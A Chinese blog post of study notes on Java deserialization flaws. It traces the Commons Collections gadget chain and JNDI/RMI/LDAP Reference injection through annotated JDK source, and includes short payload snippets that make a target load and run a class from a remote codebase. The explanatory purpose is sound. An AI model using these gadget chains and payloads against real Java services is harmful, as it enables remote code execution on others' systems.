zoukankan      html  css  js  c++  java
  • Java反序列化漏洞学习笔记

    1. Java反序列化漏洞学习笔记

    @author:alkaid

    1.1. 序列化与反序列化

    1.1.1. 基本概念

    一般而言我们是没办法直接转储对象的,只能将对象的所有属性一一访问,保存,取出时一一还原。序列化与反序列化就是为了解决这个问题,将整个对象的数据转储过程封装,对于使用者而言,相当于对象仅通过固定的几次调用即可还原。

    • 序列化: 对象转储成数据
    • 反序列化: 从数据种转储成对象

    1.1.2. 应用场景

    JDK既然对这样的一个过程进行了封装,那么几乎可以肯定一定是一个比较常用的需求。
    从基本概念里面其实已经可以知道了,本质上是数据交互,从概念一节里也可隐约知道应该是为了解决需要使用这对象(数据)的系统无法直接访问到内存里的对象,我简单概况了三个场景:

    1. 其他系统需要访问这个数据。例如http协议、rpc协议
    2. 因应用可能会有退出的情况,内存数据无法长期保存需要进行转储,例如应用的配置文件
    3. 存在一些动态类或者对象,系统无法知道该数据如何处理,只能通过序列化的方式将数据传递给动态,由动态类自行处理。例如插件的场景

    1.1.3. 漏洞成因

    由于接收者接收到的是数据,默认情况下是不会阻止生成相关的类的对象(在调用过程中进行说明),而且默认生成的对象是Object类(Java 所有类的超类),那意味着在默认情况下,可以是任何一个支持序列化(实现了Serializable接口)的对象,而这个对象决定能够达到什么样的效果,到底是命令执行、代码执行亦或者SSRF、认证绕过等等

      // ObjectInputStream
       public final Object readObject()
            throws IOException, ClassNotFoundException
      
      // Context lookup
      public Object lookup(Name name) throws NamingException;
    

    PS: 部分结构需要在自行编写相关的序列化和反序列化函数。但是这个过程很多情况下也是调用内置的序列化和反序列化函数完成下层数据的处理,在处理后的基础上在重新构建需要的数据结构。

    调用过程:

    • ObjectInputStream(InputStream in) readStreamHeader() // 读取文件的magic头和版本进行判断
    1. ObjectInputStream.readObject() // 默认反序列化
    2. ObjectInputStream.readObject0()
      // 底层的实现
                switch (tc) {  // 可以理解为读取的字节,属于控制字符
                    case TC_NULL:
                        return readNull();
     
    
                    case TC_REFERENCE:
                        return readHandle(unshared);
     
    
                    case TC_CLASS:
                        return readClass(unshared);
     
    
                    case TC_CLASSDESC:
                    case TC_PROXYCLASSDESC:
                        return readClassDesc(unshared);
     
    
                    case TC_STRING:
                    case TC_LONGSTRING:
                        return checkResolve(readString(unshared));  // 先调用readString 再进行checkResolve (过滤函数)  
                        // 一般情况 我们是希望先过滤再处理业务,这里是先处理业务再判断业务,在一定程度上为反序列化漏洞利用创造了条件
                    // ...
                    case TC_OBJECT:
                        return checkResolve(readOrdinaryObject(unshared));
     
    
                    // 省略部分代码,是其他的类似结构
        // 支持 类、字符串、Null、数组、枚举、对象、块数据,其他例如int、float等都在ObjectInputStream里面实现了但是没有使用tc控制符符号,原因可能是由于这些数据都是定长的 ? 只要确定了属性,就可以知道他们的数据长度
        // 疑问: blockData 块数据
     
    
    
        /**
         * Reads and returns "ordinary" (i.e., not a String, Class,
         * ObjectStreamClass, array, or enum constant) object, or null if object's
         * class is unresolvable (in which case a ClassNotFoundException will be
         * associated with object's handle).  Sets passHandle to object's assigned
         * handle.
         */
        private Object readOrdinaryObject(boolean unshared)
     
    
        // 省略代码
     
    
        /*
        * 调用 readClassDesc
            // 空对象 和 引用 以及创建新类的两种方式
            // 创建新类的方式 分别为 proxy 和 NonProxy , 对应的 resolveProxyClass / resolveClass 两个方法获取到具体的类 , 从字符串 -> 类
        * 调用 newInstantce  -> 触发类的默认的无参构造函数
        * 调用 readExternalData 和 readSerialData 获取对象数据
            // readExternalData 实现了Externalizable接口(扩展了Serializable接口)的
                // readExternal()
            // readSerialData 仅实现了Serializable接口
                // defaultReadFields()  调用默认的序列化方式
                // 调用 invokeReadObject() / invokeReadObjectNoData
                    // 反射调用 对应类的readObject()方法
        * 生成对象完毕
     
    
        * 一般而言,反序列化payload在此处已经执行完毕payload
     
    
        * invokeReadResolve
            // 反射调用readResolve方法
        * 保存对象
        */
     
    
    
    1. ObjectInputStream.checkResolve()
    // checkResolve(Object obejct)
        /**
         * If resolveObject has been enabled and given object does not have an
         * exception associated with it, calls resolveObject to determine
         * replacement for object, and updates handle table accordingly.  Returns
         * replacement object, or echoes provided object if no replacement
         * occurred.  Expects that passHandle is set to given object's handle prior
         * to calling this method.
         */
        private Object checkResolve(Object obj) throws IOException {
            if (!enableResolve || handles.lookupException(passHandle) != null) {
                return obj;
            }
            Object rep = resolveObject(obj);  // 一般情况下反序列化的防护(serialkiller)就是重写了resolveObject方法,对生成的类进行过滤,但是实际上这里可能已经生成某类对象。
            if (rep != obj) {
                // The type of the original object has been filtered but resolveObject
                // may have replaced it;  filter the replacement's type
                if (rep != null) {
                    if (rep.getClass().isArray()) {
                        filterCheck(rep.getClass(), Array.getLength(rep)); // 调用序列化筛选器,判断是否会触发拒绝的类  对应的接口:ObjectInputFilter
                    } else {
                        filterCheck(rep.getClass(), -1);
                    }
                }
                handles.setObject(passHandle, rep);
            }
            return rep;
        }
    

    这里防护其实主要是拦截了gadget链上的部分关键类,通过拦截这些关键类从而终止最终利用对象的生成,如果只是拦截最外层的类对象可能无法达成防护目的

    1. ObjectInputStream.resolveObject()
    2. ObjectInputStream的对象验证拦截器 vList.doCallbacks() -> list.obj.validateObject()

    通过调用registerValidation(ObjectInputValidation obj, int prio)方法进行注册

    1.1.4. Java序列化数据格式

    同一般的漏洞一样,我们需要了解到底能够输入哪些数据。参考:数据结构

    1.1.4.1. magic 用于标志文件

    序列化数据的magic的值为0xACED。 对于一个完整的序列化二进制数据而言,如果不是以ACED开始,那么就不是一个java标准的序列化数据。

    1.1.4.2. 信息

    从文章中可以看到,剩余的数据包括了类名、序列版本号(serialVersionUID )、属性名、属性值,实际上真正能控制的只有属性值,其他内容都是跟类绑定在一起的。

    PS: 我想这就是POP(面向属性编程)执行链的原因, 现在这些工具链好像一般都叫gadget,可以通过这个关键进行搜索

    1.1.4.3. 工具

    SerializationDumper

    1.1.5. 漏洞利用

    PS: 开始前的准备——把IDE会自动的跳过的断点都打开,IDEA在setting->build,execution,deployment -> debugger -> stepping

    漏洞利用大概有这么几个方式

    1.1.5.1. 经典gadgets——apache Common Collection 3

    围绕一些功能强大的工具类,发现gadgets。

    1.1.5.1.1. POP链构造

    从学习java反序列化来说,这个应该是算是最典型的。几个特征如下:

    1. InvokerTransformer支持通过反射执行一个函数。
    2. ChainedTransformer支持一组Transformer列表调用
    3. TransformedMap实现了Map接口,实现了装饰者模式,通过transformer来扩展其能力,另外看到它的结构里仍然包含了一个接口Map,所以需要提供一个支持序列化的Map进行包装,例如HashMap
    4. 同时TransformedMap实现了Serializable接口,该对象是支持被序列化和反序列化的

    连起来看,为TransformedMap添加一个装饰ChainedTransformer,ChainedTransformer支持包含多个装饰InvokerTransformer,InvokerTransformer能够执行一个函数(例如exec函数) 。那么后续就要看看怎么能够触发这个装饰者的功能:

    TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)  // 为map 添加装饰者valueTransformer
     public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            return new TransformedMap(map, keyTransformer, valueTransformer);
        }
     
    
       protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
            super(map);
            this.keyTransformer = keyTransformer;
            this.valueTransformer = valueTransformer; // 作为对象的属性保存,序列化和反序列化的时候我们就能够还原出来
        }
    // 查看可知在两个函数中使用了valueTransformer
    // transformValue(object) / checkSetValue(object)
     
    
    // class: AbstractInputCheckedMapDecorator
     
    
    static class MapEntry extends AbstractMapEntryDecorator {
     
    
            /** The parent map */
            private final AbstractInputCheckedMapDecorator parent;
     
    
            protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
                super(entry);
                this.parent = parent;
            }
     
    
            public Object setValue(Object value) {
                value = parent.checkSetValue(value);  // 这里触发
                return entry.setValue(value);
            }
        }
    
    
    
    // class: TransformedMap
        public Object put(Object key, Object value) {
            key = transformKey(key);
            value = transformValue(value); // 此处也可以
            return getMap().put(key, value);
        }
     
    
    protected Map transformMap(Map map) {
            if (map.isEmpty()) {
                return map;
            }
            Map result = new LinkedMap(map.size());
            for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
                Map.Entry entry = (Map.Entry) it.next();
                result.put(transformKey(entry.getKey()), transformValue(entry.getValue())); // 这里
            }
            return result;
        }
    

    需要触发setValue 或者 put 或者 transformMap就能够执行命令

    1.1.5.1.2. 利用(触发工具 gadget)

    之前在分析反序列化数据时候已经说明了,我们能够控制的只有数据,也是具体对象的内容,但是让应用执行上一节中所说的触发函数还需要再找一个媒介,满足:

    1. 包含了一个TransformedMap以及其的任何一个父类或者接口(包括Map)作为属性
    2. 实现了Serializable接口,这样才能够顺利的被序列化以及反序列化
    3. 调用了Map.Entry的setValue/put/transformMap就能够执行命令的方法(看过readobject方法的话可以知道Map类型是没有默认读取方式的,只能自己来实现,所以极大概率会调用setValue/put方法——为数不多的为map赋值的方式)

    这里以sun.reflect.annotation.AnnotationInvocationHandler为例,看了一下,算了... 修改过了(跟17年看到的时候不一样了... 翻车)

        // AnnotationInvocationHandler.readObject jdk8u171
        private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            GetField var2 = var1.readFields();
            Class var3 = (Class)var2.get("type", (Object)null);
            Map var4 = (Map)var2.get("memberValues", (Object)null);  // 我们创建的transformMap在这里被重新获取到
            AnnotationType var5 = null;
     
    
            try {
                var5 = AnnotationType.getInstance(var3);
            } catch (IllegalArgumentException var13) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
     
    
            Map var6 = var5.memberTypes();
            LinkedHashMap var7 = new LinkedHashMap(); // 在这里重新创建了一个map
     
    
            String var10;
            Object var11;
            for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) { // 此处的put是新创建的LinkedHashMap的put并不是我们经过装饰的map的put函数
                Entry var9 = (Entry)var8.next(); // 获取了entry单条记录
                var10 = (String)var9.getKey(); // 通过get的方式赋值给了新创建的map ,并没有调用setValue 或者 put
                var11 = null;
                Class var12 = (Class)var6.get(var10);
                if (var12 != null) {
                    var11 = var9.getValue();
                    if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
                        var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
                    }
                }
            }
     
    
            AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
            AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
        }
    

    翻出来了JDK7u80的这个类

    // AnnotationInvocationHandler.readObject jdk7u80
     private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
            var1.defaultReadObject();
            AnnotationType var2 = null;
     
    
            try {
                var2 = AnnotationType.getInstance(this.type);
            } catch (IllegalArgumentException var9) {
                throw new InvalidObjectException("Non-annotation type in annotation serial stream");
            }
     
    
            Map var3 = var2.memberTypes();
            Iterator var4 = this.memberValues.entrySet().iterator(); // 我们注入的transformMap
     
    
            while(var4.hasNext()) {
                Entry var5 = (Entry)var4.next();
                String var6 = (String)var5.getKey();
                Class var7 = (Class)var3.get(var6);
                if (var7 != null) {
                    Object var8 = var5.getValue();
                    if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); // 调用了setValue方法,触发了payload,弹出了计算器
                    }
                }
            }
     
    
        }
    

    在ysoserial里看到了CommonsCollections5,用了BadAttributeValueExpException来做触发,可以自己调一调,触发的方式。

    1.1.5.1.3. 总结

    总的来说pop链还是相当精彩的,整个利用条件相当苛刻,但是一环扣一环,所有属性涉及到的类都需要满足实现Serializable接口或者在原理一节涉及到的基本类。
    不过只是思路看起来复杂而已,在利用时本来就需要服务端存在相关类,相关类只要是支持序列化的话,属性的这些处理都已经纳入到考虑范围内,如果包含了不能序列化的属性一定会报错的,从而程序无法利用。

    1.1.5.2. 围绕RMI / JNDI / JRMP 进行的利用方式

    1.1.5.2.1. 介绍

    作为入门,还是希望理清楚这三者的关系先,可以看看引用的第5篇文章,写的还是蛮好的。我以一个案例来简单的介绍一下三者的关系。

    1. 程序员需要实现一个自动贩卖机系统以及在后台汇总每台贩卖机的数据,我们知道数据都在自动贩卖机的系统里的,那么位于我们身边的后台服务器怎么知道获取数据呢, 当然http协议可完成传输,但是程序员们决定s设计一个酷酷的方式叫RMI,它让我们在后台服务器上可以调用位于自动贩卖机系统里的对象的方法

    2. 本质上来说数据还是在远程的自动贩卖机里,需要设计数据传输的方式,这便是JRMP
      PS: RMI-IIOP是另一种协议,它把Java对象暴露给CORBA的ORB。

    3. 但是想要获取的数据可能不只在一个对象中,需要能容纳很多对象,同时还要能提供找到目标对象的方式,提供这类服务便是JNDI。
      PS: JNDI和LDAP的关系 似乎跟 JAR和ZIP的关系有点像。是通过ldap/zip封装后专门给java使用的

    RMI技术其实是广泛应用在Java的基本类、一些框架和通用工具类中。同时这些相关的类大多数都是实现了Serializable接口,能够支持我们反序列化进行利用,也一些造成了挖掘到的POP链可能影响范围极大。

    1.1.5.2.2. 利用:围绕着 Java referenceWrapper gadget

    简单了解过RMI后,可能会有一个疑问,之前在介绍反序列化漏洞成因时强调攻击者能控制的内容只有对象属性,而非方法。RMI是支持远程方法调用的技术,这两者似乎并不容易打通。

    这确实是的,如果只是使用rmi的话,需要在客户端和服务端都存在某一个类,通过rmi技术调用这个类的方法,正常情况下确实是没办法利用的。但是存在Reference类,这个类提供了一个加载远程类的属性同时实现了Serializable接口,相当于我们能够控制具体执行的方法。

    public Reference(String className,
             RefAddr addr,
             String factory,
             String factoryLocation)
     
    
    // Constructs a new reference for an object with class name 'className', the class name and location of the object's factory, and the address for the object.
    // Parameters:
    // className - The non-null class name of the object to which this reference refers.
    // factory - The possibly null class name of the object's factory.
    // factoryLocation - The possibly null location from which to load the factory (e.g. URL)
     
    
    // e.g URL 重点支持了URL统一资源定位符,那么就能支持很多协议了http、file、ftp等等等
     
    
    // addr - The non-null address of the object.
    // See Also:
    // ObjectFactory, NamingManager.getObjectInstance(java.lang.Object, javax.naming.Name, javax.naming.Context, java.util.Hashtable<?, ?>)
    

    PS:一般代码里的factory可以联想到设计模式的工厂模式,其用来管理某一系列类,从具体类中解耦(详细可以自行了解一下)。从注释里可以看到,通过这个对象可以指定一个工厂,但是还是之前说的,我们能控制的只有属性,虽然现在还能控制方法的具体内容,但是还是没办法主动让系统加载factory的地址对应的类同时调用这个类的方法。

    梳理到底是如何触发的,还是先看看大佬们挖掘的payload如下:

    Reference reference = new Reference("Calc","Calc","http://127.0.0.1:8080/");
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
    registry.bind("hello",referenceWrapper);
    

    PS: 如果需要在高版本的JDK里执行该payload。需要设置com.sun.jndi.rmi.object.trustURLCodebase=true 。
    IDEA: Run -> edit configurations -> VM options 中添加-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

    从内容看相当简单,涉及两个类之前提到的Reference类和ReferenceWrapper类,熟悉设计模式的话,带Wrapper的意思是包装,简单理解就是在原来的对象上面包上一点层(相关的设计模式是适配器模式和装饰者模式)。代码比较简单如下:

    public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference {
        protected Reference wrappee;
        private static final long serialVersionUID = 6078186197417641456L;
     
    
        public ReferenceWrapper(Reference var1) throws NamingException, RemoteException {
            this.wrappee = var1;
        }
     
    
        public Reference getReference() throws RemoteException {
            return this.wrappee;
        }
    }
    

    包装了两个部分:

    1. 为了添加Remote(RemoteReference 扩展了Remote接口)以支持RMI(这里之前没有提到,用于RMI的类需要实现Remote接口)
    2. UnicastRemoteObject,之前在介绍的时候提到过底层通信信息交换的问题,这个类就是用于解决RMI实现过程数据交换,一般RMI的远程对象都会继承这个类

    ReferenceWrapper的包装就是为了让Reference类支持RMI调用。

    用于触发payload的demo代码如下:

            try {
                new InitialContext().lookup("rmi://127.0.0.1:1099/calc");
                // lookup 是rmi中获取远程对象的主要函数
            } catch (Exception e) {
                e.printStackTrace();
            }
     
    
    

    调用链如下:

    1. new InitialContext().lookup(str name) // 根据name调用工厂方法获取相应的context,调用context的lookup
    2. com.sun.jndi.url.rmi.rmiURLContext -> com.sun.jndi.toolkit.url.GenericURLContext.lookup(str name)
        public Object lookup(String var1) throws NamingException {
            ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);  // 解析rmi地址 加载com.sun.jndi.rmi.object.trustURLCodebase配置,生成RegistryContext
            // 根据配置是否启动java的SecurityManager 这个跟应用策略有关,可自行了解
            // RegistryContext 包含rmi服务信息 端口地址从远程获取的stub对象
            Context var3 = (Context)var2.getResolvedObj(); // 获取RegistryContext
            Object var4;
            try {
                var4 = var3.lookup(var2.getRemainingName());
            } finally {
                var3.close();
            }
     
    
            return var4;
        }
    
    1. com.sun.jndi.rmi.registry.RegistryContext.lookup(Name 对象名)
    2. sun.rmi.registry.RegistryImpl_Stub.lookup(对象名)
      看到stub(了解下RMI的工作原理),能够联想到这个类开始处理具体和远程服务器的通信了
    public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
            try {
                RemoteCall var2 = this.ref.newCall(this, operations, 2, 4905912898345647071L);
     
    
                try {
                    ObjectOutput var3 = var2.getOutputStream();
                    var3.writeObject(var1); // 名称 注:从writeObject可以想象,服务端侧肯定是调用了readObject的,从某种意义上也可以被攻击
                } catch (IOException var17) {
                    throw new MarshalException("error marshalling arguments", var17);
                }
     
    
                this.ref.invoke(var2); // 调用远程的目标的方法,把对象名称发送给远程服务
     
    
                Remote var22;
                try {
                    ObjectInput var4 = var2.getInputStream(); // 获取之前在rmi注册的对象数据
                    var22 = (Remote)var4.readObject(); // 反序列化生成之前rmi注册的对象的stub对象
                } catch (IOException var14) {
                    throw new UnmarshalException("error unmarshalling return", var14);
                } catch (ClassNotFoundException var15) {
                    throw new UnmarshalException("error unmarshalling return", var15);
                } finally {
                    this.ref.done(var2); // 释放流
                }
    
    1. com.sun.jndi.rmi.registry.RegistryContext.lookup(Name 对象名)
    public Object lookup(Name var1) throws NamingException {
          // ...省略 重点内容在4中已经描述
                return this.decodeObject(var2, var1.getPrefix(1)// 解码对象 还原成rmi注册的对象
        }
    
    1. com.sun.jndi.rmi.registry.RegistryContext.decodeObject
    private Object decodeObject(Remote var1, Name var2) throws NamingException {
            try {
                Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
                //  public final class ReferenceWrapper_Stub extends RemoteStub implements RemoteReference, Remote 
                // 反射调用getReference(),转存数据,构造之前的Reference对象
                Reference var8 = null;
                if (var3 instanceof Reference) {
                    var8 = (Reference)var3;
                } else if (var3 instanceof Referenceable) {
                    var8 = ((Referenceable)((Referenceable)var3)).getReference();
                }
     
    
                if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) { 
                    // 判断是不是可信的地址,以及factory地址是否未null
                    throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
                } else {
                    // 生成了工厂的实例,调用了构造函数
                    return NamingManager.getObjectInstance(var3, var2, this, this.environment);
                }
            } catch (NamingException var5) {
                throw var5;
            } catch (RemoteException var6) {
                throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
            } catch (Exception var7) {
                NamingException var4 = new NamingException();
                var4.setRootCause(var7);
                throw var4;
            }
        }
    
    1. javax.naming.spi.NamingManager.getObjectInstance
       // Use reference if possible
            Reference ref = null;
            if (refInfo instanceof Reference) {
                ref = (Reference) refInfo;
            } else if (refInfo instanceof Referenceable) {
                ref = ((Referenceable)(refInfo)).getReference();
            }
     
    
            Object answer;
     
    
            if (ref != null) {
                String f = ref.getFactoryClassName();
                if (f != null) {
                    // if reference identifies a factory, use exclusively
                    // 生成了对象工厂调用了构造函数
                    factory = getObjectFactoryFromReference(ref, f);
                    if (factory != null) {
                        return factory.getObjectInstance(ref, name, nameCtx,
                                                         environment);
                    }
                    // No factory found, so return original refInfo.
                    // Will reach this point if factory class is not in
                    // class path and reference does not contain a URL for it
                    return refInfo;
     
    
                } else {
                    // if reference has no factory, check for addresses
                    // containing URLs
     
    
                    answer = processURLAddrs(ref, name, nameCtx, environment);
                    if (answer != null) {
                        return answer;
                    }
                }
            }
    
    
    
    // getObjectFactoryFromReference() 
     static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
            Class<?> clas = null;
     
    
            // Try to use current class loader
            try {
                 clas = helper.loadClass(factoryName);
            } catch (ClassNotFoundException e) {
                // ignore and continue
                // e.printStackTrace();
            }
            // All other exceptions are passed up.
     
    
            // Not in class path; try to use codebase
            String codebase;
            if (clas == null &&
                    (codebase = ref.getFactoryClassLocation()) != null) {
                try {
                    clas = helper.loadClass(factoryName, codebase); // 远程下载class文件到本地加载
                } catch (ClassNotFoundException e) {
                }
            }
     
    
            // 调用构造函数,触发payload
            return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
        }
     
    
    

    到此调用链是清楚了,还是那个问题,怎么触发整个调用链,上述的过程只是把触发Reference转变成触发context的lookup,要知道lookup还是一个方法,我们需要找到一个对象,通过控制属性能够触发lookup函数。 -> 需要围绕lookup函数寻找相关的类或者找到直接调用函数的方式

    这里以org.springframework.transaction.jta.JtaTransactionManager 为例,额外依赖如下

    <dependency>
                <groupId>org.springframework</groupId>
                <artifactId>spring-tx</artifactId>
                <version>5.2.5.RELEASE</version>
            </dependency>
            <dependency>
                <groupId>javax.transaction</groupId>
                <artifactId>jta</artifactId>
                <version>1.1</version>
            </dependency>
            <dependency>
                <groupId>org.springframework</groupId>
                <artifactId>spring-context</artifactId>
                <version>5.2.5.RELEASE</version>
            </dependency>
    

    对象生成如下:

    String jndiAddress = "rmi://127.0.0.1:1099/calc";
    org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
    object.setUserTransactionName(jndiAddress);
     
    
    
    1. 调用 org.springframework.transaction.jta.JtaTransactionManager
     private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
            ois.defaultReadObject();
            this.jndiTemplate = new JndiTemplate();
            this.initUserTransactionAndTransactionManager();
            this.initTransactionSynchronizationRegistry();
        }
    
    
    
    // initUserTransactionAndTransactionManager()
    protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
            if (this.userTransaction == null) {
                if (StringUtils.hasLength(this.userTransactionName)) {
                    // 构造对象时输入的rmi地址
                    this.userTransaction = this.lookupUserTransaction(this.userTransactionName);
                    this.userTransactionObtainedFromJndi = true;
                } else {
                    this.userTransaction = this.retrieveUserTransaction();
                    if (this.userTransaction == null && this.autodetectUserTransaction) {
                        this.userTransaction = this.findUserTransaction();
                    }
                }
            }
     
    
    // lookupUserTransaction(this.userTransactionName);
    protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {
            try {
                if (this.logger.isDebugEnabled()) {
                    this.logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
                }
     
    
                return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
            } catch (NamingException var3) {
                throw new TransactionSystemException("JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", var3);
            }
        }
     
    
    // org.springframework.jndi.JndiTemplate.lookup
     
    
    public Object lookup(String name) throws NamingException {
            if (this.logger.isDebugEnabled()) {
                this.logger.debug("Looking up JNDI object with name [" + name + "]");
            }
     
    
            Object result = this.execute((ctx) -> {
                return ctx.lookup(name);  // 通过回调执行了context的lookup函数
            });
            if (result == null) {
                throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");
            } else {
                return result;
            }
        }
     
    
    // execute
     
    
    public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {
            Context ctx = this.getContext(); // 创建new InitialContext , 之前我们用来调试调用链的context
            // 后续就是之前调用流程了
            Object var3;
            try {
                var3 = contextCallback.doInContext(ctx);
            } finally {
                this.releaseContext(ctx);
            }
     
    
            return var3;
        }
    

    不过没有研究过,架构层面的东西,从哪些场景里找这些会加载rmi类比较合适。不过之前还遗留了一个问题,com.sun.jndi.rmi.object.trustURLCodebase的控制怎么绕过。

    1.1.5.2.3. 利用 绕过com.sun.jndi.rmi.object.trustURLCodebase

    回到之前查看调用链的过程,我们可以看到是在com.sun.jndi.toolkit.url.GenericURLContext.lookup函数中加载了配置,com.sun.jndi.rmi.registry.RegistryContext.decodeObject函数中判断了trustURLCodebase。

    lookup 函数通过调用子类(rmiURLContext)的getRootURLContext过程中设置了trustURLCodebase,也创建了RegistryContext对象。

    假如不从rmiURLContext进入是否有可能绕过(PS:确实可以,大佬们已经研究过了),context加载路径拼接如下:

    "com.sun.jndi.url." + scheme + "." + scheme + "URLContextFactory"  // schema = rmi 就是原来的路径
    

    查看相关的包路径,可以看到能够支持的协议其实蛮多的,包含了Context的有ldap、rmi、iiop、dns

    1.1.5.2.3.1. ldap (可以触发)

    以JDK8u171为例

    ldap的payload直接使用引用的第五篇文章即可,注意修改下url地址。

    跟踪调试到com.sun.jndi.toolkit.url.GenericURLContext.lookup为止其他过程均与rmi相同,之后进入com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup方法

    public Object lookup(Name var1) throws NamingException {
            PartialCompositeContext var2 = this;
            Hashtable var3 = this.p_getEnvironment();
            Continuation var4 = new Continuation(var1, var3);
            Name var6 = var1;
     
    
            Object var5;
            try {
                // 调用p_lookup继续跟进
                for(var5 = var2.p_lookup(var6, var4); var4.isContinue(); var5 = var2.p_lookup(var6, var4)) {
                    var6 = var4.getRemainingName();
                    var2 = getPCContext(var4);
                }
            } catch (CannotProceedException var9) {
                Context var8 = NamingManager.getContinuationContext(var9);
                var5 = var8.lookup(var9.getRemainingName());
            }
     
    
            return var5;
        }
     
    
    
    1. 进入com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup
     protected Object p_lookup(Name var1, Continuation var2) throws NamingException {
            Object var3 = null;
            HeadTail var4 = this.p_resolveIntermediate(var1, var2);
            switch(var4.getStatus()) {
            case 2:
                var3 = this.c_lookup(var4.getHead(), var2); // 进入c_lookup
                if (var3 instanceof LinkRef) {
                    var2.setContinue(var3, var4.getHead(), this);
                    var3 = null;
                }
                break;
            case 3:
                var3 = this.c_lookup_nns(var4.getHead(), var2);
                if (var3 instanceof LinkRef) {
                    var2.setContinue(var3, var4.getHead(), this);
                    var3 = null;
                }
            }
     
    
            return var3;
        }
     
    
        // com.sun.jndi.ldap.LdapCtx.c_lookup
     protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
        // 省略
          LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
                this.respCtls = var23.resControls; // 获取在ldap上注册的数据, 在其entries的结构中。 {objectclass=objectClass: javaNamingReference, javacodebase=javaCodeBase: http://localhost:8080/, javafactory=javaFactory: Calc, javaclassname=javaClassName: Calc}
        // 省略
          if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]"javaclassname") != null) {
                    var3 = Obj.decodeObject((Attributes)var4); // 从之前数据中,构造对象
                }
        // 省略
         return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4); // 看到了熟悉的getInstance,大概率触发点就在这个里面
     }
     
    
     // com.sun.jndi.ldap.Obj
      static Object decodeObject(Attributes var0) throws NamingException {
            String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]"javaCodeBase"));
     
    
            try {
                Attribute var1;
                // 三种方式无论采用哪一种最终都可以生成Refenrence对象
                if ((var1 = var0.get(JAVA_ATTRIBUTES[1])"javaSerializedData") != null) {
                    ClassLoader var3 = helper.getURLClassLoader(var2);
                    return deserializeObject((byte[])((byte[])var1.get()), var3); // 通过readObject生成对应的对象
                } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7]"javaRemoteLocation")) != null) {
                    return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]"javaClassName").get(), (String)var1.get(), var2); // 用于生成reference对象
                } else {
                    var1 = var0.get(JAVA_ATTRIBUTES[0]"objectClass");
                    return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]"javaNamingReference") && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]"javanamingreference") ? null : decodeReference(var0, var2); // 用于生成reference对象
                }
            } catch (IOException var5) {
                NamingException var4 = new NamingException();
                var4.setRootCause(var5);
                throw var4;
            }
        }
    
    1. 返回后进入 javax.naming.spi.DirectoryManager.getObjectInstance
     public static Object
            getObjectInstance(Object refInfo, Name name, Context nameCtx,
                              Hashtable<?,?> environment, Attributes attrs)
            throws Exception {
                // 省略
     
    
                // use reference if possible
                Reference ref = null;
                // 熟悉的判断之前调试rmi协议的时候也是判断了refence类
                if (refInfo instanceof Reference) { // 第一个参数的类必须是可控的
                    ref = (Reference) refInfo;
                } else if (refInfo instanceof Referenceable) {
                    ref = ((Referenceable)(refInfo)).getReference();
                }
     
    
                Object answer;
     
    
                if (ref != null) {
                    String f = ref.getFactoryClassName();
                    if (f != null) {
                        // if reference identifies a factory, use exclusively
                        // 创建了工厂,在这里触发构造函数
                        factory = getObjectFactoryFromReference(ref, f);
                        if (factory instanceof DirObjectFactory) {
                            return ((DirObjectFactory)factory).getObjectInstance(
                                ref, name, nameCtx, environment, attrs); // payload也可以放在这个函数里
                        } else if (factory != null) {
                            return factory.getObjectInstance(ref, name, nameCtx,
                                                             environment);
                        }
                        // 省略
                    }
                }
            }
    }
     
    
    // javax.naming.spi.NamingManager.getObjectFactoryFromReference()
    static ObjectFactory getObjectFactoryFromReference(
            Reference ref, String factoryName)
            throws IllegalAccessException,
            InstantiationException,
            MalformedURLException {
